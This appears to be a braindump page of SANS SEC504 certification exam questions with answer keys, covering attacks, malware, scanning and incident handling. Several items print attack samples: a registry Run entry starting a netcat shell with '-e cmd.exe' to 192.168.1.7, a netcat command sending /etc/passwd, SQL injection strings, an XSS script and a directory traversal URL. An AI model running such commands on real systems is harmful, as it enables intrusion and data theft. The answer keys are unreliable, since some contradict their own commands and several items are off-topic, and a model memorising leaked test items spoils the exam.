SANS.SEC504.v2022-09-06.q163

Exam Code:	SEC504
Exam Name:	Hacker Tools, Techniques, Exploits and Incident Handling
Certification Provider:	SANS
Free Question Number:	163
Version:	v2022-09-06
# of views:	2646
# of Questions views:	2738
https://www.dumpsfiles.com/files/SANS/SEC504/SANS.SEC504.v2022-09-06.q163	

NEW QUESTION: 1
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network.
The company uses Check Point SmartDefense to provide security to the network of the company. You use SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers allowed.
Which of the following attacks will be blocked by defining this limitation? Each correct answer represents a complete solution. Choose all that apply.
A. Code red worm
B. Backdoor attack
C. Land attack
D. User-defined worm
Answer: A,D (LEAVE A REPLY)

NEW QUESTION: 2
Which of the following are the limitations for the cross site request forgery (CSRF) attack? Each correct answer represents a complete solution. Choose all that apply.
A. The target site should have limited lifetime authentication cookies.
B. The attacker must target a site that doesn't check the referrer header.
C. The target site should authenticate in GET and POST parameters, not only cookies.
D. The attacker must determine the right values for all the form inputs.
Answer: B,D (LEAVE A REPLY)

NEW QUESTION: 3
Which of the following refers to applications or files that are not classified as viruses or Trojan horse programs, but can still negatively affect the performance of the computers on your network and introduce significant security risks to your organization?

A. Firmware
B. Hardware
C. Melissa
D. Grayware
Answer: D (LEAVE A REPLY)

NEW QUESTION: 4
John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters ='or''=' as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script. Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?
A. Use the mysql_real_escape_string() function for escaping input
B. Use the session_regenerate_id() function
C. Use the escapeshellarg() function
D. Use the escapeshellcmd() function
Answer: (SHOW ANSWER)

NEW QUESTION: 5
You enter the following URL on your Web browser: http://www.we-are-secure.com/scripts/..%co%af../..%co
% af../windows/system32/cmd.exe?/c+dir+c:\ What kind of attack are you performing?
A. Replay
B. Directory traversal
C. Session hijacking
D. URL obfuscating
Answer: B (LEAVE A REPLY)

NEW QUESTION: 6
Windump is a Windows port of the famous TCPDump packet sniffer available on a variety of platforms. In order to use this tool on the Windows platform a user must install a packet capture library. What is the name of this library?
A. SysPCap
B. libpcap
C. PCAP
D. WinPCap
Answer: (SHOW ANSWER)

NEW QUESTION: 7

Which of the following is a method of gaining access to a system that bypasses normal authentication?

A. Teardrop

B. Smurf

C. Trojan horse

D. Back door

Answer: (SHOW ANSWER)

NEW QUESTION: 8

Adam works as an Incident Handler for Umbrella Inc. His recent actions towards the incident are not up to the standard norms of the company. He always forgets some steps and procedures while handling responses as they are very hectic to perform.

Which of the following steps should Adam take to overcome this problem with the least administrative effort?

A. Create new sub-team to keep check.

B. Create incident checklists.

C. Create incident manual read it every time incident occurs.

D. Appoint someone else to check the procedures.

Answer: B (LEAVE A REPLY)

NEW QUESTION: 9

Which of the following rootkits is used to attack against full disk encryption systems?

A. Hypervisor rootkit

B. Kernel level rootkit

C. Library rootkit

D. Boot loader rootkit

Answer: (SHOW ANSWER)

NEW QUESTION: 10

SIMULATION

Fill in the blank with the appropriate name of the attack. _____ takes best advantage of an existing authenticated connection

Answer:

session hijacking

NEW QUESTION: 11

Victor wants to send an encrypted message to his friend. He is using certain steganography technique to accomplish this task. He takes a cover object and changes it accordingly to hide information. This secret information is recovered only when the algorithm compares the changed cover with the original cover.

Which of the following Steganography methods is Victor using to accomplish the task?

A. The substitution technique
B. The distortion technique
C. The cover generation technique
D. The spread spectrum technique
Answer: B (LEAVE A REPLY)

NEW QUESTION: 12
Which of the following statements are true about netcat?
Each correct answer represents a complete solution. Choose all that apply.
A. The nc -z command can be used to redirect stdin/stdout from a program.
B. It provides outbound and inbound connections for TCP and UDP ports.
C. It provides special tunneling, such as UDP to TCP, with the possibility of specifying all network parameters.
D. It can be used as a file transfer solution.
Answer: B,C,D (LEAVE A REPLY)

NEW QUESTION: 13
Which of the following statements about a Trojan horse are true?
Each correct answer represents a complete solution. Choose two.
A. The writers of a Trojan horse can use it later to gain unauthorized access to a computer.
B. It infects the boot record on hard disks and floppy disks.
C. It is a macro or script that attaches itself to a file or template.
D. It is a malicious software program code that resembles another normal program.
Answer: (SHOW ANSWER)

NEW QUESTION: 14
What is the major difference between a worm and a Trojan horse?
A. A worm spreads via e-mail, while a Trojan horse does not.
B. A worm is a form of malicious program, while a Trojan horse is a utility.
C. A Trojan horse is a malicious program, while a worm is an anti-virus software.
D. A worm is self replicating, while a Trojan horse is not.
Answer: (SHOW ANSWER)

NEW QUESTION: 15
John visits an online shop that stores the IDs and prices of the items to buy in a cookie. After selecting the items that he wants to buy, the attacker changes the price of the item to 1.Original cookie values:
ItemID1=2 ItemPrice1=900 ItemID2=1 ItemPrice2=200
Modified cookie values:
ItemID1=2 ItemPrice1=1 ItemID2=1 ItemPrice2=1

Now, he clicks the Buy button, and the prices are sent to the server that calculates the total price.
Which of the following hacking techniques is John performing?
A. Man-in-the-middle attack
B. Computer-based social engineering
C. Cookie poisoning
D. Cross site scripting
Answer: C (LEAVE A REPLY)

NEW QUESTION: 16
Which of the following actions is performed by the netcat command given below?
nc 55555 < /etc/passwd
A. It changes the /etc/passwd file when connected to the UDP port 55555.
B. It grabs the /etc/passwd file when connected to UDP port 55555.
C. It resets the /etc/passwd file to the UDP port 55555.
D. It fills the incoming connections to /etc/passwd file.
Answer: B (LEAVE A REPLY)

NEW QUESTION: 17
Which of the following statements is true about the difference between worms and Trojan horses?
A. Trojan horses are a form of malicious codes while worms are not.
B. Worms replicate themselves while Trojan horses do not.
C. Trojan horses are harmful to computers while worms are not.
D. Worms can be distributed through emails while Trojan horses cannot.
Answer: B (LEAVE A REPLY)

NEW QUESTION: 18
Your IDS discovers that an intruder has gained access to your system. You immediately stop that access, change passwords for administrative accounts, and secure your network. You discover an odd account (not administrative) that has permission to remotely access the network. What is this most likely?

A. An example of privilege escalation.
B. A normal account you simply did not notice before. Large networks have a number of accounts; it is hard to track them all.
C. A backdoor the intruder created so that he can re-enter the network.
D. An example of IP spoofing.
Answer: (SHOW ANSWER)

NEW QUESTION: 19
Which of the following is used by attackers to obtain an authenticated connection on a network?
A. Back door
B. Denial-of-Service (DoS) attack
C. Man-in-the-middle attack
D. Replay attack
Answer: (SHOW ANSWER)

NEW QUESTION: 20
Which of the following tools combines two programs, and also encrypts the resulting package in an attempt to foil antivirus programs?
A. Tiny
B. NetBus
C. EliteWrap
D. Trojan Man
Answer: D (LEAVE A REPLY)

NEW QUESTION: 21
Which of the following tools is used to download the Web pages of a Website on the local system?
A. jplag
B. wget
C. Nessus
D. Ettercap
Answer: B (LEAVE A REPLY)

NEW QUESTION: 22
Peter works as a Network Administrator for the PassGuide Inc. The company has a Windows-based network. All client computers run the Windows XP operating system. The employees of the company complain that suddenly all of the client computers have started working slowly. Peter finds that a malicious hacker is attempting to slow down the computers by flooding the network with a large number of requests. Which of the following attacks is being implemented by the malicious hacker?

A. Man-in-the-middle attack
B. Denial-of-Service (DoS) attack
C. Buffer overflow attack
D. SQL injection attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 23
You run the following command while using Nikto Web scanner:
perl nikto.pl -h 192.168.0.1 -p 443
What action do you want to perform?
A. Using it as a proxy server
B. Updating Nikto
C. Seting Nikto for network sniffing
D. Port scanning
Answer: D (LEAVE A REPLY)
Explanation

NEW QUESTION: 24
Which of the following types of attack can guess a hashed password?
A. Evasion attack
B. Brute force attack
C. Denial of Service attack
D. Teardrop attack
Answer: (SHOW ANSWER)

NEW QUESTION: 25
Victor works as a professional Ethical Hacker for SecureNet Inc. He wants to use Steganographic file system method to encrypt and hide some secret information. Which of the following disk spaces will he use to store this secret information?
Each correct answer represents a complete solution. Choose all that apply.
A. Unused Sectors
B. Dumb space
C. Hidden partition
D. Slack space
Answer: A,C,D (LEAVE A REPLY)

NEW QUESTION: 26
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:
\windows\nc.exe
-d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.

B. You want to add the Netcat command to the Windows registry.

C. You want to put Netcat in the stealth mode.

D. You want to set the Netcat to execute command any time.

Answer: (SHOW ANSWER)

NEW QUESTION: 27

Adam works as an Incident Handler for Umbrella Inc. His recent actions towards the incident are not up to the standard norms of the company. He always forgets some steps and procedures while handling responses as they are very hectic to perform.

Which of the following steps should Adam take to overcome this problem with the least administrative effort?

A. Create incident checklists.

B. Appoint someone else to check the procedures.

C. Create incident manual read it every time incident occurs.

D. Create new sub-team to keep check.

Answer: (SHOW ANSWER)

NEW QUESTION: 28

Which of the following characters will you use to check whether an application is vulnerable to an SQL injection attack?

A. Dash (-)

B. Double quote (")

C. Single quote (')

D. Semi colon (;)

Answer: C (LEAVE A REPLY)

NEW QUESTION: 29

You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

A. Containment

B. Recovery

C. Identification

D. Preparation

Answer: A (LEAVE A REPLY)

NEW QUESTION: 30

John used to work as a Network Administrator for We-are-secure Inc. Now he has resigned from the company for personal reasons. He wants to send out some secret information of the company. To do so, he takes an image file and simply uses a tool image hide and embeds the secret file within an image file of the famous actress, Jennifer Lopez, and sends it to his Yahoo mail id. Since he is using the image file to send the data, the mail server of his company is unable to filter this mail. Which of the following techniques is he performing to accomplish his task?

A. Web ripping
B. Email spoofing
C. Steganography
D. Social engineering
Answer: C (LEAVE A REPLY)

NEW QUESTION: 31
Which of the following types of malware can an antivirus application disable and destroy? Each correct answer represents a complete solution. Choose all that apply.

A. Virus
B. Crimeware
C. Rootkit
D. Worm
E. Adware
F. Trojan
Answer: A,C,D,F (LEAVE A REPLY)

NEW QUESTION: 32
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it with chess.exe. Which of the following tools are required in such a scenario? Each correct answer represents a part of the solution. Choose three.

A. Absinthe
B. Chess.exe
C. NetBus

D. Yet Another Binder
Answer: B,C,D (LEAVE A REPLY)

NEW QUESTION: 33
Which of the following can be used as a countermeasure against the SQL injection attack? Each correct answer represents a complete solution. Choose two.
A. mysql_real_escape_string()
B. session_regenerate_id()
C. mysql_escape_string()
D. Prepared statement
Answer: A,D (LEAVE A REPLY)
Explanation/Reference:

NEW QUESTION: 34
Which of the following attacks come under the category of layer 2 Denial-of-Service attacks? Each correct answer represents a complete solution. Choose all that apply.
A. Spoofing attack
B. Password cracking
C. SYN flood attack
D. RF jamming attack
Answer: A,C (LEAVE A REPLY)

NEW QUESTION: 35
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it to chess.exe. The size of chess.exe was 526,895 bytes originally, and after joining this chess file to the Trojan, the file size increased to 651,823 bytes. When he gives you this new game, you install the infected chess.exe file on your computer. He now performs various malicious tasks on your computer remotely. But you suspect that someone has installed a Trojan on your computer and begin to investigate it. When you enter the netstat command in the command prompt, you get the following results:
C:\WINDOWS>netstat -an | find "UDP" UDP IP_Address:31337 *:*
Now you check the following registry address:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServic es
In the above address, you notice a 'default' key in the 'Name' field having " .exe" value in the corresponding
'Data' field. Which of the following Trojans do you think your friend may have installed on your computer on the basis of the above evidence?
A. Tini
B. Donald Dick
C. Back Orifice

D. Qaz
Answer: C (LEAVE A REPLY)

NEW QUESTION: 36
Maria works as a professional Ethical Hacker. She has been assigned the project of testing the security of www.gentech.com. She is using dumpster diving to gather information about Gentech Inc. In which of the following steps of malicious hacking does dumpster diving come under?
A. Multi-factor authentication
B. Role-based access control
C. Mutual authentication
D. Reconnaissance
Answer: D (LEAVE A REPLY)
Explanation/Reference:

NEW QUESTION: 37
Which of the following functions can be used as a countermeasure to a Shell Injection attack? Each correct answer represents a complete solution. Choose all that apply.
A. regenerateid()
B. mysql_real_escape_string()
C. escapeshellarg()
D. escapeshellcmd()
Answer: (SHOW ANSWER)

NEW QUESTION: 38
John works as a Penetration Tester in a security service providing firm named you-are-secure Inc.
Recently, John's company has got a project to test the security of a promotional Website www.missatlanta.com and assigned the pen-testing work to John. When John is performing penetration testing, he inserts the following script in the search box at the company home page: <script>alert('Hi, John')</script>
After pressing the search button, a pop-up box appears on his screen with the text - "Hi, John." Which of the following attacks can be performed on the Web site tested by john while considering the above scenario?
A. CSRF attack
B. Replay attack
C. Buffer overflow attack
D. XSS attack
Answer: D (LEAVE A REPLY)

NEW QUESTION: 39

Which of the following methods can be used to detect session hijacking attack?
A. Brutus
B. ntop
C. nmap
D. sniffer
Answer: (SHOW ANSWER)

NEW QUESTION: 40
Which of the following is an Internet mapping technique that relies on various BGP collectors that collect information such as routing updates and tables and provide this information publicly?
A. AS Route Inference
B. Path MTU discovery (PMTUD)
C. AS PATH Inference
D. Firewalking
Answer: C (LEAVE A REPLY)

NEW QUESTION: 41
You work as a Security Administrator for Net Perfect Inc. The company has a Windows-based network.
You want to use a scanning technique which works as a reconnaissance attack. The technique should direct to a specific host or network to determine the services that the host offers. Which of the following scanning techniques can you use to accomplish the task?
A. Host port scan
B. Nmap
C. SYN scan
D. IDLE scan
Answer: A (LEAVE A REPLY)

NEW QUESTION: 42
Rick works as a Computer Forensic Investigator for BlueWells Inc. He has been informed that some confidential information is being leaked out by an employee of the company. Rick suspects that someone is sending the information through email. He checks the emails sent by some employees to other networks. Rick finds out that Sam, an employee of the Sales department, is continuously sending text files that contain special symbols, graphics, and signs. Rick suspects that Sam is using the Steganography technique to send data in a disguised form. Which of the following techniques is Sam using? Each correct answer represents a part of the solution. Choose all that apply.
A. Technical steganography
B. Linguistic steganography
C. Perceptual masking

D. Text Semagrams
Answer: B,D (LEAVE A REPLY)

NEW QUESTION: 43
Which of the following statements are true about a keylogger?
Each correct answer represents a complete solution. Choose all that apply.
A. It uses hidden code to destroy or scramble data on the hard disk.
B. It is a software tool used to trace all or specific activities of a user on a computer.
C. It records all keystrokes on the victim's computer in a predefined log file.
D. It can be remotely installed on a computer system.
Answer: B,C,D (LEAVE A REPLY)

NEW QUESTION: 44
You work as a Network Administrator for Infonet Inc. The company has a Windows Server 2008 Active Directory-based single domain single forest network. The company has three Windows 2008 file servers, 150 Windows XP Professional, thirty UNIX-based client computers. The network users have identical user accounts for both Active Directory and the UNIX realm. You want to ensure that the UNIX clients on the network can access the file servers. You also want to ensure that the users are able to access all resources by logging on only once, and that no additional software is installed on the UNIX clients. What will you do to accomplish this task?
Each correct answer represents a part of the solution. Choose two.
A. Enable the Network File System (NFS) component on the file servers in the network.
B. Configure a distributed file system (Dfs) on the file server in the network.
C. Configure ADRMS on the file servers in the network.
D. Enable User Name Mapping on the file servers in the network.
Answer: A,D (LEAVE A REPLY)

NEW QUESTION: 45
Which of the following rootkits patches, hooks, or replaces system calls with versions that hide information about the attacker?
A. Kernel level rootkit
B. Boot loader rootkit
C. Library rootkit
D. Hypervisor rootkit
Answer: (SHOW ANSWER)

NEW QUESTION: 46
Which of the following tools is described in the statement given below?

"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI scripts. Moreover, the database detects DdoS zombies and Trojans as well."

A. Nmap

B. SARA

C. Nessus

D. Anti-x

Answer: (SHOW ANSWER)

NEW QUESTION: 47

Which of the following malicious code can have more than one type of trigger, multiple task capabilities, and can replicate itself in more than one manner?

A. Blended threat

B. Boot sector virus

C. Macro virus

D. Trojan

Answer: A (LEAVE A REPLY)

NEW QUESTION: 48

Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd. Which of the following is the mostly likely the cause of the problem?

A. Computer is infected with the stealth kernel level rootkit.

B. Computer is infected with stealth virus.

C. Computer is infected with the Stealth Trojan Virus.
D. Computer is infected with the Self-Replication Worm.
Answer: A (LEAVE A REPLY)

NEW QUESTION: 49
You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?
A. Mail bombing
B. Distributed denial of service (DDOS) attack
C. Malware installation from unknown Web sites
D. Brute force attack
Answer: C (LEAVE A REPLY)

NEW QUESTION: 50
Which of the following statements about a Trojan horse are true?
Each correct answer represents a complete solution. Choose two.
A. It is a malicious software program code that resembles another normal program.
B. It is a macro or script that attaches itself to a file or template.
C. The writers of a Trojan horse can use it later to gain unauthorized access to a computer.
D. It infects the boot record on hard disks and floppy disks.
Answer: A,C (LEAVE A REPLY)

NEW QUESTION: 51
You want to measure the number of heaps used and overflows occurred at a point in time. Which of the following commands will you run to activate the appropriate monitor?
A. UPDATE DBM CONFIGURATION DFT_MON_TIMESTAMP
B. UPDATE DBM CONFIGURATION USING DFT_MON_BUFPOOL
C. UPDATE DBM CONFIGURATION USING DFT_MON_TABLE
D. UPDATE DBM CONFIGURATION USING DFT_MON_SORT
Answer: D (LEAVE A REPLY)

NEW QUESTION: 52
You work as a Senior Marketing Manager for Umbrella Inc. You find out that some of the software applications on the systems were malfunctioning and also you were not able to access your remote desktop session. You suspected that some malicious attack was performed on the network of the company. You immediately called the incident response team to handle the situation who enquired the Network Administrator to acquire all relevant information regarding the malfunctioning. The Network Administrator informed the incident response team that he was reviewing the security of the network which caused all these

problems. Incident response team announced that this was a controlled event not an incident.
Which of the following steps of an incident handling process was performed by the incident response team?
A. Eradication
B. Containment
C. Identification
D. Preparation
Answer: (SHOW ANSWER)

NEW QUESTION: 53
Which of the following statements are true about firewalking?
Each correct answer represents a complete solution. Choose all that apply.
A. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall.
B. To use firewalking, the attacker needs the IP address of the last known gateway before the firewall and the IP address of a host located behind the firewall.
C. Firewalking works on the UDP packets.
D. A malicious attacker can use firewalking to determine the types of ports/protocols that can bypass the firewall.
Answer: (SHOW ANSWER)

NEW QUESTION: 54
Which of the following is used to gather information about a remote network protected by a firewall?
A. Firechalking
B. Warchalking
C. Firewalking
D. Wardialing
Answer: (SHOW ANSWER)

NEW QUESTION: 55
You work as a System Administrator in SunSoft Inc. You are running a virtual machine on Windows Server
2003. The virtual machine is protected by DPM. Now, you want to move the virtual machine to another host. Which of the following steps can you use to accomplish the task?
Each correct answer represents a part of the solution. Choose all that apply.
A. Remove the original virtual machine from the old server and stop the protection for the original virtual machine.
B. Add the copied virtual machine to a protection group.
C. Run consistency check.

D. Copy the virtual machine to the new server.
Answer: A,B,D (LEAVE A REPLY)

NEW QUESTION: 56
The IT administrator wants to implement a stronger security policy. What are the four most important security priorities?
A. Protecting employee data on portable computers.
B. Providing two-factor authentication.
C. Preventing unauthorized network access.
D. Implementing Certificate services on Texas office.
E. Ensuring secure authentication.
F. Providing secure communications between the overseas office and the headquarters.
G. Providing secure communications between Washington and the headquarters office.
H. Preventing denial-of-service attacks.
Answer: (SHOW ANSWER)

NEW QUESTION: 57
Which of the following types of attacks is targeting a Web server with multiple compromised computers that are simultaneously sending hundreds of FIN packets with spoofed IP source IP addresses?
A. Evasion attack
B. DDoS attack
C. Insertion attack
D. Dictionary attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 58
An Active Attack is a type of steganography attack in which the attacker changes the carrier during the communication process. Which of the following techniques is used for smoothing the transition and controlling contrast on the hard edges, where there is significant color transition?
A. Sharpen
B. Soften
C. Blur
D. Rotate
Answer: (SHOW ANSWER)

NEW QUESTION: 59
You are responsible for security at a company that uses a lot of Web applications. You are most concerned about flaws in those applications allowing some attacker to get into your network. What method would be best for finding such flaws?

A. Manual penetration testing
B. Code review
C. Automated penetration testing
D. Vulnerability scanning
Answer: D (LEAVE A REPLY)
Explanation

NEW QUESTION: 60
John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare- secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below:
Once this Trojan has been installed on the computer, it searches Notpad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed.
Which of the following Trojans has the symptoms as the one described above?
A. SubSeven
B. eBlaster
C. Qaz
D. NetBus
Answer: C (LEAVE A REPLY)

NEW QUESTION: 61
TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote operating system (OS fingerprinting), or incorporated into a device fingerprint.
Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?
A. nmap -O -p
B. nmap -sT
C. nmap -sU -p
D. nmap -sS
Answer: A (LEAVE A REPLY)

NEW QUESTION: 62
Which of the following tools will you use to prevent from session hijacking?
Each correct answer represents a complete solution. Choose all that apply.
A. Rlogin
B. Telnet
C. SSL
D. OpenSSH
Answer: C,D (LEAVE A REPLY)

NEW QUESTION: 63
John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He enters a single quote in the input field of the login page of the We-are-secure Web site and receives the following error message:
Microsoft OLE DB Provider for ODBC Drivers error '0x80040E14'
This error message shows that the We-are-secure Website is vulnerable to _____.
A. A SQL injection attack
B. A Denial-of-Service attack
C. A buffer overflow
D. An XSS attack
Answer: A (LEAVE A REPLY)

NEW QUESTION: 64
Which of the following techniques can be used to map 'open' or 'pass through' ports on a gateway?
A. Tracegate
B. Traceport
C. Tracefire
D. Traceroute
Answer: D (LEAVE A REPLY)

NEW QUESTION: 65
Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?
A. Reconnaissance
B. Preparation
C. Scanning
D. gaining access

Answer: B (LEAVE A REPLY)

NEW QUESTION: 66
Which of the following statements are correct about spoofing and session hijacking? Each correct answer represents a complete solution. Choose all that apply.
A. Spoofing is an attack in which an attacker can spoof the IP address or other identity of the target but the valid user can be active.
B. Session hijacking is an attack in which an attacker takes over the session, and the valid user's session is disconnected.
C. Session hijacking is an attack in which an attacker takes over the session, and the valid user's session is not disconnected.
D. Spoofing is an attack in which an attacker can spoof the IP address or other identity of the target and the valid user cannot be active.
Answer: (SHOW ANSWER)

NEW QUESTION: 67
Which of the following systems is used in the United States to coordinate emergency preparedness and incident management among various federal, state, and local agencies?
A. National Disaster Management System (NDMS)
B. National Incident Management System (NIMS)
C. US Incident Management System (USIMS)
D. National Emergency Management System (NEMS)
Answer: B (LEAVE A REPLY)

NEW QUESTION: 68
Which of the following applications is NOT used for passive OS fingerprinting?
A. Networkminer
B. Nmap
C. p0f
D. Satori
Answer: B (LEAVE A REPLY)

NEW QUESTION: 69
Which of the following IP packet elements is responsible for authentication while using IPSec?
A. Authentication Header (AH)
B. Layer 2 Tunneling Protocol (L2TP)
C. Encapsulating Security Payload (ESP)
D. Internet Key Exchange (IKE)
Answer: A (LEAVE A REPLY)

NEW QUESTION: 70
Which of the following tools is described in the statement given below?
"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI scripts. Moreover, the database detects DdoS zombies and Trojans as well."
A. SARA
B. Anti-x
C. Nessus
D. Nmap
Answer: C (LEAVE A REPLY)

NEW QUESTION: 71
Which of the following is used to determine the operating system on the remote computer in a network environment?
A. Social engineering
B. Spoofing
C. OS Fingerprinting
D. Reconnaissance
Answer: C (LEAVE A REPLY)

NEW QUESTION: 72
You work as a Network Penetration tester in the Secure Inc. Your company takes the projects to test the security of various companies. Recently, Secure Inc. has assigned you a project to test the security of a Web site. You go to the Web site login page and you run the following SQL query:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'attacker@somehwere.com'; DROP TABLE members; --'
What task will the above SQL query perform?
A. Performs the XSS attacks.
B. Deletes the database in which members table resides.
C. Deletes the rows of members table where email id is 'attacker@somehwere.com' given.
D. Deletes the entire members table.
Answer: D (LEAVE A REPLY)

NEW QUESTION: 73
You are the Administrator for a corporate network. You are concerned about denial of service attacks.
Which of the following would be the most help against Denial of Service (DOS) attacks?
A. Stateful Packet Inspection (SPI) firewall
B. Honey pot

C. Packet filtering firewall
D. Network surveys.
Answer: A (LEAVE A REPLY)

NEW QUESTION: 74
You send SYN packets with the exact TTL of the target system starting at port 1 and going up to port 1024 using hping2 utility. This attack is known as _____.
A. Port scanning
B. Spoofing
C. Cloaking
D. Firewalking
Answer: D (LEAVE A REPLY)

NEW QUESTION: 75
You are monitoring your network's behavior. You find a sudden increase in traffic on the network. It seems to come in bursts and emanate from one specific machine. You have been able to determine that a user of that machine is unaware of the activity and lacks the computer knowledge required to be responsible for a computer attack. What attack might this indicate?
A. Spyware
B. Session Hijacking
C. Denial of Service
D. Ping Flood
Answer: (SHOW ANSWER)

NEW QUESTION: 76
Which of the following is executed when a predetermined event occurs?
A. Trojan horse
B. Worm
C. MAC
D. Logic bomb
Answer: (SHOW ANSWER)

NEW QUESTION: 77
Which of the following can be used to perform session hijacking?
Each correct answer represents a complete solution. Choose all that apply.
A. Session fixation
B. ARP spoofing
C. Session sidejacking
D. Cross-site scripting
Answer: A,C,D (LEAVE A REPLY)

NEW QUESTION: 78
Maria works as the Chief Security Officer for Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?
A. Steganography
B. Encryption
C. RSA algorithm
D. Public-key cryptography
Answer: (SHOW ANSWER)

NEW QUESTION: 79
Which of the following is a type of computer security vulnerability typically found in Web applications that allow code injection by malicious Web users into the Web pages viewed by other users?
A. Cookie poisoning
B. SID filtering
C. Cross-site scripting
D. Privilege Escalation
Answer: C (LEAVE A REPLY)

NEW QUESTION: 80
Which of the following applications automatically calculates cryptographic hashes of all key system files that are to be monitored for modifications?
A. TCPView
B. PrcView
C. Tripwire
D. Inzider
Answer: C (LEAVE A REPLY)

NEW QUESTION: 81
Adam is a novice Web user. He chooses a 22 letters long word from the dictionary as his password.
How long will it take to crack the password by an attacker?
A. 22 hours
B. 200 years
C. 5 minutes
D. 23 days
Answer: C (LEAVE A REPLY)

NEW QUESTION: 82
US Garments wants all encrypted data communication between corporate office and remote location.
They want to achieve following results:
Authentication of users
- Anti-replay
- Anti-spoofing
- IP packet encryption

They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide?
Each correct answer represents a complete solution. Choose all that apply.
A. Authentication of users
B. Anti-spoofing
C. IP packet encryption
D. Anti-replay
Answer: (SHOW ANSWER)

NEW QUESTION: 83
You want to scan your network quickly to detect live hosts by using ICMP ECHO Requests. What type of scanning will you perform to accomplish the task?
A. Idle scan
B. TCP SYN scan
C. XMAS scan
D. Ping sweep scan
Answer: D (LEAVE A REPLY)

NEW QUESTION: 84

You want to add a netbus Trojan in the chess.exe game program so that you can gain remote access to a friend's computer. Which of the following tools will you use to accomplish the task?
Each correct answer represents a complete solution. Choose all that apply.
A. Beast
B. Tripwire
C. Pretator Wrapper
D. Yet Another Binder
Answer: C,D (LEAVE A REPLY)

NEW QUESTION: 85
Maria works as a professional Ethical Hacker. She has been assigned the project of testing the security of www.gentech.com. She is using dumpster diving to gather information about Gentech Inc.
In which of the following steps of malicious hacking does dumpster diving come under?
A. Multi-factor authentication
B. Reconnaissance
C. Mutual authentication
D. Role-based access control
Answer: B (LEAVE A REPLY)

NEW QUESTION: 86
In which of the following DoS attacks does an attacker send an ICMP packet larger than 65,536 bytes to the target system?
A. Fraggle
B. Jolt
C. Ping of death
D. Teardrop
Answer: C (LEAVE A REPLY)

NEW QUESTION: 87
Which of the following rootkits adds additional code or replaces portions of an operating system, including both the kernel and associated device drivers?
A. Library rootkit
B. Boot loader rootkit
C. Hypervisor rootkit
D. Kernel level rootkit
Answer: D (LEAVE A REPLY)

NEW QUESTION: 88

You want to use PGP files for steganography. Which of the following tools will you use to accomplish the task?

A. Stealth

B. Snow

C. Image Hide

D. Blindside

Answer: (SHOW ANSWER)

NEW QUESTION: 89

Which of the following attacks allows an attacker to sniff data frames on a local area network (LAN) or stop the traffic altogether?

A. Session hijacking

B. Port scanning

C. Man-in-the-middle

D. ARP spoofing

Answer: (SHOW ANSWER)

NEW QUESTION: 90

Adam works as a Network Administrator for PassGuide Inc. He wants to prevent the network from DOS attacks. Which of the following is most useful against DOS attacks?

A. SPI

B. Honey Pot

C. Distributive firewall

D. Internet bot

Answer: (SHOW ANSWER)

NEW QUESTION: 91

Which of the following takes control of a session between a server and a client using TELNET, FTP, or any other non-encrypted TCP/IP utility?

A. Social Engineering

B. Trojan horse

C. Session Hijacking

D. Dictionary attack

Answer: (SHOW ANSWER)

NEW QUESTION: 92
Adam, a malicious hacker purposely sends fragmented ICMP packets to a remote target. The total size of this ICMP packet once reconstructed is over 65,536 bytes. On the basis of above information, which of the following types of attack is Adam attempting to perform?
A. Ping of death attack
B. Land attack
C. Fraggle attack
D. SYN Flood attack
Answer: A (LEAVE A REPLY)

NEW QUESTION: 93
John works as an Ethical Hacker for Inc. He wants to find out the ports that are open in server using a port scanner. However, he does not want to establish a full TCP connection. Which of the following scanning techniques will he use to accomplish this task?
A. TCP FIN
B. TCP SYN/ACK
C. TCP SYN
